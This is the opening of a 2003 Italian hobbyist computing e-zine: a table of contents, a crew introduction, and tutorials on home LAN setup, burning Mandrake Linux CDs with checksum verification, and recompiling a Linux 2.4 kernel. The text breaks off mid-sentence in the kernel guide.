E-zine n.00 >>> informazionelibera staff www.informazionelibera.cjb.net ~ cyberdudemail@libero.it ____="^>____ ~_>">~~~~~~~~~~>">_ _ -="~~~~~~~~~~~~~~~~~~>~_ [M#pp_c>~~~~~~~~~~~~~~~~~~~~~~>~_ !MMMMMM#ppe_~~~~~~~~~~~~~~~~~~~~>_ :MMMMMMMMMMMMpc~~~~~~~~~~~~~~~~~~~=_ :MMMMMMMMMWV"~~~~~~~~~~~~~~~~~~~~~~>_ -+agp~ >MMMMWWV>~~~~~~~~~~~~~~~~~~~~~~>ogpp#MMMMMF >>WWV>~~~~~~~~~~~~~~~~~~>+ogpp#MMMMMMMMMMMM" :>~~~~~~~~~~~~~~~~~)opp##MMMMMMMMMMMMMMMMMML :c_~~~~~~~~~~~~~~~~~]MMMMMMMMBYMMMMMMMMMMMMW =MMMM########pppL~~~3MMMMMCYBERDUDEMMMMMMMML >~QMMMMMMMMMMMMMML~~~]MMMMMMMASCIIMMMMMMMMMF>~ .>~QMMMMMMMMMMMMMM>~~~3MMMMMMMMARTMMMMMMMMMW~~< <~~4MMMMMMMMMMMMMM~~~~3MMMMMMMMMMMMMMMMMMMML~~~~ ~"~~[MMMMMMMMMMMMML~~~~3MMMMMMMMMMMMMMMMMMMF>~~~> :~~~[MMMMMMMMMMMMML~~~~3MMMMMMMMMMMMMMMMMMM"~~~~>~ =~~~TMMMMMMMMMMMMML~~~~3MMMMMMMMMMMMMMMMMML~~~~~~>,_ =~~~3MMMMMMMMMMMMM>~~~~4MMMMMMMMMMMMMMMMMF~~~~~~~i#L ;~~~~?MMMMMMMMMMMMP~~~~~[MMMMMMMMMMMMMMMMM"~~~~~~)#MM_ :~~~~>MMMMMMMMMMMML~~~~~[MMMMMMMMMMMMMMMML~~~~~~>#MMML >~~~~>MMMMMMMMMMMML~~~~~[MMMMMMMMMMMMMMMM~~~~~~>#MMMMM_ =~~~~~MMMMMMMMMMMM>~~~~~[MMMMMMMMMMMMMMML~~~~~>#MMMMMML =~~~~~MMMMMMMMMMMM~~~~~~[MMMMMMMMMMMMMMF~~~~~>#MMMMMMMM_ =~~~~~NMMMMMMMMMML~~~~~~[MMMMMMMMMMMMMM"~~~~>dMMMMMMMMML =~~~~~QMMMMMMMMMML~~~~~~[MMMMMMMMMMMMML~~~~>gMMMMMMMMMMM_ =~~~~~$MMMMMMMMMM=~~~~~~[MMMMMMMMMMMMF~~~~~AMMMMMMMMMMMML :~~~~~[MMMMMMMMMM~~~~~~~[MMMMMMMMMMMM"~~~>dMMMMMMMMMMMMMM~ ;~~~~~[MMMMMMMMMP~~~~~~~[MMMMMMMMMMML~~~~QMMMMMMMMMMMMMMF" :>~~~~4MMMMMMMMML~~~~~~~[MMMMMMMMMMW~~~~gMMMMMMMMMMMMMW" =~~~~3MMMMMMMMML~~~~~~~[MMMMMMMMMM"~~~gMMMMMMMMMMMMMF >~~~~!MMMMMMMMM>~~~~~~~[MMMMMMMMMF~~~gMMMMMMMMMMMMF" :>~~~(MMMMMMMMM~~~~~~~~[MMMMMMMMW>~~gMMMMMMMMMMMM" =~~~>MMMMMMMML~~~~~~~~[MMMMMMMML~~aMMMMMMMMMMMF" :~~~~MMMMMMMML~~~~~~~~[MMMMMMMF>~qMMMMMMMMMMW">" >~~~MMMMMMMM>~~~~~~~~[MMMMMMM"~qMMMMMMMMMMF~~< ^>~~MMMMMMMM~~~~~~~~~[MMMMMML~qMMMMMMMMMW"~~>" >~~QMMMMMML~~~~~~~~~[MMMMMW~jMMMMMMMMW"~~~>~ >~QMMMMMML~~~~~~~~~[MMMMM")MMMMMMMMF>~~~~< '>[MMMMMM=~~~~~~~~~4MMMML)MMMMMMMW"~~~~~` 'QMMMMMM>~~~~~~~~~4MMMW\MMMMMMMF>~~~~~> [MMMMMM~~~~~~~~~~4MMM\MMMMMMW"~~~~~~` 'TMMMML~~~~~~~~~~4MMM#MMMMM">~~~~~>` *MMML~~~~~~~~~~4MMMMMMMF>~~~~~~>" *MM=~~~~~~~~~~4MMMMMW"~~~~~~>`" 'W^>>~~~~~~~~4MMMMF~~~~~~><" ' '>>~~~~~~$MMW"~~~~>+^" '"">_>>QM">>>>>"" '^*"^"" I N F O R M A Z I O N E L I B E R A E - Z I N E C R E W Copyright 2003 Informazionelibera Staff [INFO] ~ Presentazione crew >> Cyberdude [LINUX] ~ Istallare una lan >> Dominus ~ CD Mandrake fai da te >> Cyberdude ~ Come ricompilarsi il kernel >> Dominus [EXPLOIT] ~ Avviare un eseguibile tramite IE >> Unrelated [CRITTOGRAFIA] ~ Le CryptoApi di Delphi >> Cyberdude [HACKING] ~ Whois MafiaBoy? >> Nexus85 ~ Ddos,dos e smurf >> Dominus ~ Ed il computer non si accendeva più >> Unrelated ~ Hash,Password Autenticazione con NT >> LuKe_SkyWalKeR [PHREACKING] ~ Project Chocophone >> Unrelated ~ Leggere l'eeprom dei cordless Philips >> BigAlex [PROGRAMMAZIONE] ~ Guida a puntate sul PHP >> }gu|do[z]{ ~ Project: Time music >> Unrelated ~ Leeting your simple 'cat' >> [Evil] ~ Pillole di PHP >> }gu|do[z]{ ~ Tutti odiano i banner tranne i loro produttori >> Cyberdude ~ Gestione del proprio sito >> Giampow ~ Introduzione all' XHTML 1.0 >> _KOME_ ~ Puntatori e strutture in C >> DarkDecay [NETWORKING] ~ Com'è fatta una scheda di rete >> ^_][ice][man][_^ ~ Le topologie di rete >> ^_][ice][man][_^ ~ Il protocollo DHCP >> STunT [SECURITY] ~ New Patch for Windows XP >> Cyberdude ~ Come comportarsi davanti a chan takkati e taker >> Angel [HARDWARE] ~ A spasso con l'hard disk >> Cyberdude [ELETTRONICA] ~ Funzionamento dei Joysticks >> BigAlex ~ XBConnect >> Licoszen [ALTRE GUIDE] ~ Phpnuke? cos'è una parolaccia? >> Dejavu ~ Guida ai cookies >> Dejavu ~ Le basi di dati (teoria) >> Dejavu [CONCLUSIONI] ~ Ciao non addio! >> Cyberdude PRESENTAZIONI CREW INFORMAZIONELIBERA Copyright Maggio 2003 Ci battiamo per l'informazione libera, per tutti coloro che hanno sete di sapere e non sanno dove cercare! Chi siamo? proprio nessuno, siamo un gruppo di ragazzi con una passione in comune, il computer!!! abbiamo deciso di unirci tutti e di parlare di quello che sapevamo in modo che chiunque sentisse il bisogno di sapere, sapesse dove andare a cercarlo. Ognuno di noi si è impegnato a esprimere concetti informatici di base o più complicati ma non siamo professionisti... questo è il nostro primo prodotto speriamo che sia un mezzo utile per incentivare l'informazione e la conoscenza gratuitamente nel web. Chi sono i nostri "nemici"? tutti coloro che usano le loro conoscenze per farsi grandi, tenendole nascoste agli altri, tutti coloro che vogliono chiuderci gli occhi su quella che è la realtà delle cose, tutti coloro che pensano solo ad arricchirsi. Il nostro è uno strumento gratuito, pratico, dinamico. Non voglio dilungarmi troppo in inutili presentazioni, vi lascio alla lettura di questo giornale con la speranza che possa risultare qualcosa di utile a tutti voi!! Inviate le vostre considerazioni, critiche, opinioni all'indirizzo cyberdudemail@libero.it Ed ora beccatevi questa e-zine... buona lettura INFORMAZIONELIBERA STAFF +++++++++++++++++++++++++++++++++++++++++++++++++ Autore: Dominus + + data:05/04/2003 + + oggetto: installare una lan + +++++++++++++++++++++++++++++++++++++++++++++++++ In questo articlo tratteremo come installare una lan,prima di tutto spiego cosa è una lan per i meno esperti. Una lan è una condivisione di risorse,la condivisione può essere tra scanner stampanti e tra 2 o più pc che condividono una connesione a internet,lan significa Local Area network,in seguito vi spiegherò come fare una piccola lan domestica tra 2 pc,vi spiegherò come configurarle sia con linux che con windows. 1) il materiale che occorre avere: 2 pc (era ovvio) una scheda di rete che è indispensabile per la condivisione,un cavo cross che permette la connessione senza HUB.E,un cavo crosslinked con attacchi RJ45 a 8 poli schermato. Per installare una lan abbiamo bisogno di una periferica ve ne elenco 2 HUB e SWITCH,la differenza dei due è che con HUB la banda viene condivisa tra più utenti e i pacchetti vengono inviati a tutti i nodi disponibili finchè non trova quello giusto,lo SWITCH invece la banda viene assegnata a ciascun utente,ognuno ha le sue impostazioni e i pacchetti li invia solo al nodo richiesto. 2) configuriamo una lan con linux Una lan di solito viene identificata con un indirizzo ip fisso,come fanno i server,per la lan si usa un indirizzo ip della classe 192.168.*.* Adesso parliamo della vera e propria configurazione: Come prima cosa bisogna cercare la scheda nel nostro hardware [root@gw linx]# dmesg | grep eth0 [root@gw linx]# se non riceviamo nessuna risposta andate a controllare se la scheda è inserita correttamente,se è tutto apposto allora andrà riconfigurato il kernel o inserire il modulo relativo... Dopo aver messo tutto apposto digitate: [root@gw linx]# modprobe 8139too [root@gw linx]# Con il comando modprobe inseriamo il modulo 8139too nel kernel,per vedere se viene riconoscita facciamo. [root@gw linx]# dmesg | grep eth0 eth0: RealTek RTL8139 Fast Ethernet at 0xd88f3000, 00:10:a7:13:aa:16, IRQ 10 eth0: Identified 8139 chip type 'RTL-8139C' eth0: Setting half-duplex based on auto-negotiated partner ability 0000. [root@gw linx]# ora con il comando ifconfig configuriamo le interfacce di rete: [root@gw linx]# ifconfig lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:234 errors:0 dropped:0 overruns:0 frame:0 TX packets:234 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:20636 (20.1 Kb) TX bytes:20636 (20.1 Kb) ppp0 Link encap:Point-to-Point Protocol inet addr:213.255.24.245 P-t-P:213.255.5.236 Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1524 Metric:1 RX packets:4185 errors:0 dropped:0 overruns:0 frame:0 TX packets:3949 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:3 RX bytes:2821243 (2.6 Mb) TX bytes:363125 (354.6 Kb) [root@gw linx]# Dopo aver fatto questo bisogna assegnare un indirizzo ip alla scheda che consente la condivisione lan cioè la scheda ethernet [root@gw linx]# ifconfig eth0 192.168.1.1 netmask 255.255.255.0 up [root@gw linx]# adesso con il comando up attiviamo l'interfaccia eth0 [root@gw linx]# ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:10:A7:13:AA:16 inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:0 (0.0 b) TX bytes:2360 (2.3 Kb) Interrupt:10 Base address:0x3000 [root@gw linx]# Adesso se è andato tutto per il meglio abbiamo configurato la nostra scheda di rete,per vedere se funziona tutto facciamo: [root@gw linx]# ping -c 5 192.168.1.1 PING 192.168.1.1 (192.168.1.1) from 192.168.1.1 : 56(84) bytes of data. 64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=0.183 ms 64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=0.107 ms 64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=0.115 ms 64 bytes from 192.168.1.1: icmp_seq=4 ttl=255 time=0.114 ms 64 bytes from 192.168.1.1: icmp_seq=5 ttl=255 time=0.106 ms --- 192.168.1.1 ping statistics --- 5 packets transmitted, 5 received, 0% loss, time 3998ms rtt min/avg/max/mdev = 0.106/0.125/0.183/0.029 ms [root@gw linx]# Adesso bobbiamo controllare la tabella di routing anche se le entry vengono configurate automaticamente, [root@gw linx]# /sbin/route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 213.255.5.236 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo 0.0.0.0 213.255.5.236 0.0.0.0 UG 0 0 0 ppp0 [root@gw linx]# < 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 > E` stata creata la entry nella tabella di route per la classe di appartenenza dell' interfaccia.Questo perchè abbiamo tirato su l'interfaccia di ifconfig per dargli l'ip. Il comando per inserire la entry è : ~# route add -net 192.168.1.0 netmask 255.255.255.0 dev eth0 In alcuni casi ,a causa di problemi con ppp il gateway nella tabella può uscir male, in questo caso darete il comando : ~# route add default gw ip dove ip lo trovi in ~# ifconfig ppp0 Adesso che abbiamo finito con il gateway passiamo al client. Lo stesso procedimento va fatto nell'altra linux. [root@feof /]# ifconfig eth0 192.168.1.2 netmask 255.255.255.0 up [root@feof /]# Alla fine basta fare un ping,se le due macchine rispongono ai ping è andato tutto correttamente. Adesso che le due macchine hanno una condivisione occupiamoci della connessione a internet,,si possono usare due metodi configurarlo con iptables o con ipchains,solo che con iptables bisogna riconfigurare il kernel con ipchains no,quindi per una piccola rete domestica va più che bene,per vedere se è presente ipchains sulla nostra macchina facciamo # ipchains -L Uno dei 2 pc farà da gateway e l'altro da client. 1 gw 192.168.1.1 è il gateway 2 feof 192.168.0.2 è un client [root@gw linx]# echo 1 > /proc/sys/net/ipv4/ip_forward Così si abilita l'ip forwarding per la tabella di routing [root@gw linx]# ipchains -I forward -s 192.168.1.0/24 -d 0/0 -j MASQ Con questa regola si natta tutto il traffico con sorgente 192.168.1.0 Per avere una completa conoscenza del comando ipchais # man ipchains [root@feof /]# route add default gw 192.168.1.1 Con questo comando abbiamo aggiunto il gw nella tabella di routing. Ecco qui abbiamo finito,basta prenderci la mano e diventa tutto semplice. 3) configuriamo una lan con windows Premetto che la tecnica pur se diversa non cambia,nel senso con le impostazioni che vi ho appena dato potete fare una lan con 2 pc linux o con 2 windows o con 1 linux e 1 windows,basta settare gli stessi parametri come ip,mask ecc... allora... Clikkate con il destro su risorse di rete,poi scegliete proprietà a questo punto vi si aprirà una schermata,selezionate tcp/ip e clikkate dinuovo su proprietà,a questo punto settate l'ip di rete e la netmask come descritto sopra,poi andate sulla cartella gateway e aggiungete l'ip 192.168.1.1 ,poi nella configurazione dsn aggiungete i dns del vostro provider e confermate tutto. Abbiamo finito!!!!! By Dominus per domande o insulti Dominusz@yahoo.it -e-zine------------n.00--- ________ __________ /_______/| /_________/| | | | | | | | ____|/ |___ __|/ | | |__ | | | | |/___/| | | | | | | | | | |______|/ |__|/ CYBERDUDE TUTORIAL ---------informazionelibera- ------------------------------------------------------------ CREIAMOCI DA SOLI I CD DI LINUX MANDRAKE 8.2 ~CYBERDUDE TUTORIAL~ ------------------------------------------------------------ Che bello finalmente dopo un lungo periodo di inattività si riprende a scrivere! Non vedevo l'ora... la cosa più bella è che riprendo a scrivere per la crew che ho fondato io stesso il che rende tutto più emozionante! In questo articolo non parlerò di niente che abbia a che fare con programmazione o altre cosette difficile ;) ma tratteremo qualcosa di molto più semplice!! lo scopo di questo tutorial sta nel farci capire quanto sia facile Scaricare e creare i CD di Linux Mandrake 8.2 da soli, così ne risparmiamo di soldi e di fatica per trovare chi li vende :P dunque proporrei di cominciare subito con il nostro lavoro Dunque iniziamo subito con il collegarci al sito www.linux-mandrake.com/it/ poi subito su link e download dopo accedendiamo alla sezione dedicata al download delle immagini ISO per i586 e superiori (se avete un processore Pentium o equivalente, e non penso abbiate qualcosa di non equivalente giusto? ;P) ... Scegliete il sito geograficamente più vicino a voi, in modo da evitare di intasare inutilmente la Rete, e cliccatevi sopra. Se compare la richiesta del nome utente e della password, immettete anonymous come nome utente e un indirizzo di e-mail a caso come password. Fatto questo, scaricate e salvate sul vostro computer il contenuto della directory del sito. Dovrebbero esserci cinque file: · md5sums.82 · README · Mandrake82-cd3-supp.i586.iso · Mandrake82-cd2-ext.i586.iso · Mandrake82-cd1-inst.i586.iso Gli ultimi tre file sono da 660 e rotti megabyte l'uno, per cui ci vorrà qualche tempo per scaricarli... in pratica miei cari ragazzi se non avete ADSL è meglio se vi mettete da parte, anche se penso sia ancora una volta difficile che ai giorni d'oggi vi siano persone che non hanno ADSL, oppure che vi devo dire scaricatevi un programma di download a diverse connessioni e scaricatevelo a poco a poco. Una volta scaricati, i file vanno verificati: potrebbero essersi alterati durante lo scaricamento (ogni tanto capita). Le istruzioni sono nel file README, ma il loro sunto è questo: i file scaricati vanno letti con un programma, di nome md5sum, disponibile sotto Linux, sotto DOS e sotto Windows. La versione DOS (che si può usare in una finestra DOS di Windows) è disponibile presso http://www.etree.org/md5com.html, è un programmino di soli 48 kilobyte, ed è quella che descrivo qui. La versione Windows è disponibile presso http://homepages.ihug.co.nz/~floydian/md5/ ma non l'ho provata. Dopo aver scaricato md5sum, mettetelo nella stessa directory in cui avete scaricato i file di Mandrake. Aprite una finestra DOS e date il comando md5sum *.iso Attendete qualche minuto: il programma legge i tre file ISO e genera quello che si chiama un checksum: una sorta di "impronta digitale" univoca, basata matematicamente su ogni singolo bit contenuto nei file. Questi sono i checksum dei tre file ISO: __________Checksum______________ ____________File___________ cda56ed1c9e9ace3de44eba1c36069a7 Mandrake82-cd1-inst.i586.iso 6ede8c75fec92e10636b6c0bf5ee9860 Mandrake82-cd2-ext.i586.iso 0b4921ddb67425687a5e053ff288dcba Mandrake82-cd3-supp.i586.iso Se nel file c'è anche un solo bit alterato, il checksum risultante cambia. Il checksum è quindi un modo molto semplice per verificare l'integrità di un file: basta confrontare il checksum dell'originale con il checksum della copia. Se sono uguali, i file sono uguali. I checksum degli originali sono nel file md5sums.82. Confrontateli con quelli generati dal programma md5sum. Se sono uguali, siete a posto: altrimenti vi tocca scaricare di nuovo il file il cui checksum non coincide. Così è la vita. So che molti di voi a questo punto chiudono questo articolo e dicono ora vado a comprarmelo ma io continuo a scrivere per quei pochi pazzi psicopatici che sono ancora qui a leggere questa mia scemitaggine di articolo ;) grazie ragazzi, se non ci foste voi!!! dopotutto che mondo sarebbe senza pazzia!! C'è ancora un altro rischio in cui andiamo ad imbatterci... alcune volte c'è qualche bastardo scleratico che distribuisce file ISO contenenti versioni alterate di Linux, arricchite ad esempio con programmi-spia, virus, backdoor, rootkit (se non sapete cosa sono, fa niente) e altre piacevolezze. I checksum contenuti nel file md5sums.82 garantiscono soltanto l'integrità dei file scaricati, non la loro autenticità. Se volete verificare che i file ISO che avete scaricato sono gli originali, dovete confrontare i loro checksum con quelli pubblicati da Mandrake sul proprio sito... chiaro? Per quanto riguarda la masterizzazione miei cari amici vi pregherei di usare NERO (ho scelto questo perchè è il più usato) dunque : · Lanciate Nero. Se parte il Wizard, chiudetelo. · Scegliete File > Scrivi Immagine. Nella finestra di dialogo di selezione dei file, cliccate sul menu a tendina che contiene File Immagine (*.nrg) e selezionate Tutti i file (*.*). · In questa finestra di dialogo, scegliete il primo file ISO e cliccate su Apri. · Nella finestra di dialogo Impostazioni immagini estranee (bella traduzione, complimenti), selezionate queste impostazioni: Tipo immagine: Dati Modo 1 Dimensione blocco: 2048 Intestazione immagine: 0 Anteprima immagine: 0 Lasciate vuote tutte le caselle di spunta. · Inserite un CD vergine e cliccate su OK. · Nella finestra di dialogo Scrivi CD, attivate il segno di spunta in Scrivi e Chiudi CD. Poi cliccate sul pulsante Scrivi. · Inizia la masterizzazione del primo CD di Linux Mandrake 8.2. · Per i CD successivi, ripetete questi passi, scegliendo i rispettivi file ISO. Abbiamo finito :) volete anche le conclusioni di questo più che stupido articolo? beh analizziamole insieme: Dunque come lati positivi sicuramente diciamo che non avete dovuto spendere qualche euro, rivolgendovi a http://mandrakestore.com e acquistare i CD già fatti... poi ragazzi c'è la soddisfazione di dire sono stato io il povero idiota che si è fatto da solo i CD di linux Mandrake... diciamo che questa è la procedura per spilorci che hanno molta voglia di imparare e poca voglia di spendere!! Ragazzi alla fine dai ora sapete qualche cosa in più dopoutto questo articolo non è proprio una merda! dai me lo date un 5 in pagella? ;) vabbè mo basta a dire stronzate! altrimenti qui mi mandano la censura! ora vi saluto tutti ciao ragazzi e mi raccomando continuate a leggere il nostro giornale, vi prometto che nei prossimi articoli sarò più professionale ok? Ciao a tutti CYBERDUDE +++++++++++++++++++++++++++++++++++++++++++ Autore: Dominus + + data: 05/04/2003 + + oggetto: come ricompilarsi il kernel + +++++++++++++++++++++++++++++++++++++++++++ Premessa:Di seguito spiegherò come ricompilare il kernel,certe info come per esempio la descrizione di alcuni nomi del menù di configurazione sono stati presi da varie parti (ma solo qualche nome),vi posso augurare solo buona lettura a tutti :) Bisogna prestare attenzione alla seconda cifra che caratterizza il kernel (4 nel nostro caso). Solo i kernel con la cifra pari sono considerati sufficientemente stabili, mentre gli altri sono ritenuti in fase di sviluppo e destinati agli sviluppatori. I sorgenti andranno posizionati nella directory /usr/src e quindi decompressi. Per tutte queste operazioni è necessario "loggarsi" da utente root. Prendiamo il caso che abbiate scaricato il file linux-2.4.6.tar.gz. lnxbox1:~# mv linux-2.4.6.tar.gz /usr/src lnxbox1:~# cd /usr/src lnxbox1:/usr/src# tar xfvz linux-2.4.6.tar.gz Se avete già i sorgenti del kernel basta scaricare soltanto le patch di aggiornamento. Le patch sono sequenziali, dipendenti cioè dalla versione precedente. Questo vuol dire che se avete già il kernel 2.4.0 per passare al kernel 2.4.6 dovrete scaricare 6 patch e installarle. Per installare una patch scrivete: lnxbox1:/usr/src# gzip -cd patchXX.gz | patch -p0 Dove al posto di XX vi è la versione della patch. I sorgenti sono anche disponibili come bz2, che offre un miglior grado di compressione, ma che non ha ancora soppiantato il gz. Se tutto è andato bene ci ritroveremo i sorgenti del nostro kernel nella directory /usr/src/linux. Entriamo in questa directory: lnxbox1:~# cd /usr/src/linux e diamo: lnxbox1:/usr/src/linux# make mrproper In questo modo elimineremo tutti i collegamenti vecchi e dipendenze con la precedente versione. Questa operazione elimina anche il file .config che contiene la configurazione per il kernel. A questo punto dobbiamo scegliere le opzioni da includere nel nuovo kernel. Da utente root scriviamo quindi: lnxbox1:/usr/src/linux# make config In questo modo ci verrà chiesto interattivamente cosa includere e cosa no. Esistono tuttavia dei modi più amichevoli per la configurazione del kernel. Al posto di make config possiamo scrivere: lnxbox1:/usr/src/linux# make menuconfig Per caricare il menu di configurazione testuale. Oppure: lnxbox1:/usr/src/linux# make xconfig Per caricare il menu di configurazione per X. A questo punto si tratterà di scegliere quali opzioni del kernel fanno al caso nostro e quali no. Compilare il kernel è una delle operazioni più delicate nella quale potremo imbatterci, perché richiede una buona conoscenza dell'hardware installato sul proprio sistema e anche un minimo errore potrebbe costarci l'impossibilità di poter riavviare Linux. Putroppo non sarebbe neanche possibile analizzare nei dettagli tutte le opzioni presenti nel kernel. Daremo però dei suggerimenti utili su quali sono le opzioni fondamentali da abilitare e quali possono essere gli errori più comuni. Se si è in dubbio se abilitare o meno un'opzione può tornare sempre di grande utilità l'help in linea. Generalizzando nell'incertezza la scelta meno rischiosa è "abbondare" nelle opzioni. È buona norma accludere nel kernel solo il supporto per i componenti hardware fondamentali (come HD, filesystem ext2, supporto per i multiprocessore, ecc.) mentre compilare come moduli (contraddistinti da una M) le parti non indispensabili per il boot (come supporto a schede audio, schede di rete, filesystem aggiuntivi come FAT, ecc). Analizziamo ora i menu di configurazione. Code maturity level options È bene abilitare questa opzione ("Prompt for development and/or incomplete code/drivers") da includere staticamente (built-in, non come modulo quindi). Loadable module support È bene abilitare le opzioni in questo menu in modo da poter usare i moduli. Processor type and features In questo menu possiamo scegliere l'ottimizzazione per il nostro processore o abilitare il supporto per il multiprocessore o l'MTRR. General setup Da questo menu sono assolutamente da abilitare il supporto per la rete (Networking support), i supporti per le schede PCI, quello per i binari del kernel in formato ELF (Kernel support for ELF binaries) (ma anche quelli a.out e MISC per una maggiore compatibilità con i vecchi formati). Se volete potete abilitare da qui il supporto per APM (il risparmio energetico). Sono anche da abilitare "Sysctl support" e "System V IPC" Memory Technology Devices (MTD) Le opzioni in questo menu possono essere disabilitate nella stragrande maggioranza dei casi. Parallel port support Da qui possiamo includere il supporto per la porta parallela (anche compilandola come modulo). Plug and Play configuration Da questo menu possiamo abilitare il supporto al Plug And Play (anche come modulo) Block devices Da qui abilitiamo il supporto per il floppy "Normal PC floppy disk support" (meglio se built-in) e "Loopback device support". Multi-device support (RAID and LVM) Se avete un controller RAID o volete usare il Logical Volume Manager potete abilitare le opzioni in questo menu. Ciò potrebbe richiedere però il caricamento di alcuni demoni fatti per gestire queste feature. Networking options Da qui abiliterete le opzioni per il networking come il TCP/IP, supporto per firewall, masquerading, IPV6, QoS, IPX. Una delle novità del kernel 2.4 è il supporto per il khttpd, l'accelerazione per il server http (abilitatela solo se avete installato un server http). Telephony Support Anche da questo menu quasi sicuramente non dovrete abilitare nulla ATA/IDE/MFM/RLL support Abilitate (come built-in) "ATA/IDE/MFM/RLL support" e entrate nel menu sottostante. IDE, ATA and ATAPI Block devices Da qui abilitate (come built-in): "Enhanced IDE/MFM/RLL disk/cdrom/tape/floppy support" "Include IDE/ATA-2 DISK support" "Include IDE/ATAPI CDROM support" Abilitate anche i supporti per il DMA se volete usarlo e l'opzione relativa al vostro chip presente sulla scheda madre. Se avete un masterizzatore IDE dovreste abilitare anche "SCSI emulation support" e disabilitare l'opzione relativa al CDROM ("Include IDE/ATAPI CDROM support"). SCSI support Da qui potete abilitare il supporto per periferiche SCSI (comprese quelle emulate). Se avete un controller SCSI dovrete abilitare l'opzione relativa al vostro modello dal sottomenu "SCSI low-level drivers". IEEE 1394 (FireWire) support A meno che voi non abbiate interfacce FireWire potrete anche ignorare questo menu (disabilitate eventuali opzioni abilitate). I2O device support Nella stragrande maggioranza dei casi potete ignorare anche questo menu Network device support Da qui potete abilitare il supporto per una scheda di rete, PPP (necessario per collegarsi a Internet col vostro provider), e per altri tipi di connessione (PLIP o SLIP). Potete abilitare le opzioni che fanno al caso vostro come modulo. Amateur Radio support Da questo menu è possibile abilitare il supporto per il Packet Radio, che potrete tranquillamente ignorare. IrDA (infrared) support Se avete una porta infrarossi potrete abilitarla da questo menu. Da un sottomenu potrete anche scegliere il driver. ISDN subsystem Da questo menu potrete abilitare il supporto per le schede ISDN con i relativi driver. Old CD-ROM drivers (not SCSI, not IDE) A meno che non abbiate un lettore CD obsoleto con interfaccia non standard, ignorate questo menu. Input core support Da questo menu potrete abilitare il supporto per le interfaccie USB come mouse, tastiere, joystick. Character devices Da qui potrete abilitare il supporto alle porte seriali, alle stampanti parallele, mouse PS/2, joystick e all'orologio di sistema. Da qui potrete anche abilitare il supporto per l'AGP e per il DRI in modo da aumentare le prestazioni della vostra scheda video sotto X. Multimedia devices In questo menu troverete il supporto per periferiche di acquisizione video oppure schede radio. File systems Da questo menu dovrete abilitare come built-in il filesystem dove è presente la partizione di root del vostro sistema / (ext2 o reiserfs) e potrete abilitare come modulo i filesystem non indispensabili dei quali necessitiate il supporto. Da qui potrete abilitare anche il supporto per il devfs, anche se ve lo sconsiglio caldamente per ora essendo ancora in fase sperimentale. Abilitate invece il "/proc file system support". È bene ribadire che il filesystem della vostra partizione Linux dovrebbe non essere compilato come modulo, pena l'impossibilità di fare il boot. Da qui potrete anche scegliere la codifica dei caratteri per la vostra nazione ("Native Language Support"). Per l'Italia la scelta cade su ISO-8859-1. Console drivers Da qui potrete il supporto per la vostra scheda VGA e per il Frame-buffer dall'opzione "Frame-buffer support". Sound Da questo menu avrete la possibilità di abilitare il supporto alla vostra scheda audio e per l'Open Sound System. USB support Tramite questo menu avrete la possibiltà di attivare il supporto per l'interfacce USB. C'è anche da dire che il supporto USB sotto Linux è ancora in fase sperimentale, e spesso non c'è modo di far andare molte di esse. Bluetooth support Questo è una delle novità del kernel 2.4.6. Permette il supporto per le periferiche wireless che utilizzano questo protocollo. Potete evitare di abilitare anche questa opzione. Kernel hacking Questo menu permette di abilitare un'opzione per il debug del kernel. Normalmente non dovrebbe essere acclusa. A questo punto potete tranquillamente uscire e salvare. Tra gli errori che potreste commettere il più comune è senza dubbio quello di dimenticarvi di abilitare il supporto per qualche parte del sistema essenziale, come il supporto per i dischi IDE (o SCSI se usate quelli), oppure il supporto al filesystem ext2. È importante anche che il supporto per questi sia messo come built- in, non come modulo, pena un kernel panic dopo il boot. Un'altro dei consigli è quello di provare sempre la propria versione del kernel prima di sostituirla. Potete configurare LILO in modo da avere sempre una versione di emergenza da caricare. Verrà descritta più avanti questa soluzione. A questo punto bisogna dare i seguenti comandi per compilare sia i moduli che il kernel. lnxbox1:/usr/src/linux# make dep && make bzImage lnxbox1:/usr/src/linux# make modules && make modules_install L'operatore && permette di eseguire dei comandi in serie avviando il successivo solo se il precedente è andato a buon fine. A questo punto ci dovremmo ritrovare l'immagine del nuovo kernel nella directory /usr/src/linux/arch/i386/boot sotto il nome di bzImage. Copiamo l'immagine nella directory /boot e rinominiamolo per esempio in vmlinuz-new. lnxbox1:/usr/src/linux# cp /usr/src/linux/arch/i386/boot/bzImage /boot/vmlinuz- new Copiamo anche il file /usr/src/linux/System.map nella directory /boot lnxbox1:/usr/src/linux# cp /usr/src/linux/System.map /boot A questo punto dovremmo essere in grado di installare il nuovo kernel. Per far questo dobbiamo modificare il file /etc/lilo.conf. Se per esempio vogliamo lasciare la possibilità di caricare il vecchio kernel (caldamente consigliato qualora qualcosa andasse storto), possiamo rinominare il vecchio kernel presente in /boot (di solito chiamato vmlinuz) in vmlinuz-old, aggiungere una voce al LILO e sostituire il kernel. Per esempio cercate nel file /etc/lilo.conf la voce: image=/boot/vmlinuz label=Linux read-only root=/dev/hda5 l'ultima riga cambia a seconda di dove risiede la vostra partizione con Linux. Questa parte del file di configurazione di LILO assegna l'immagine del kernel presente in /boot/vmlinuz assegnandole il nome di Linux. Possiamo rinominare il vecchio kernel in vmlinuz-old, copiare il nuovo kernel in /boot e dandogli il nome di vmlinuz, lasciare invariata la voce precedente e aggiungere sotto una sezione del tipo: image=/boot/vmlinuz-old label=old read-only root=/dev/hda5 a questo punto scriviamo: lnxbox1:~# lilo Per rendere effettive le modifiche. Se qualcosa 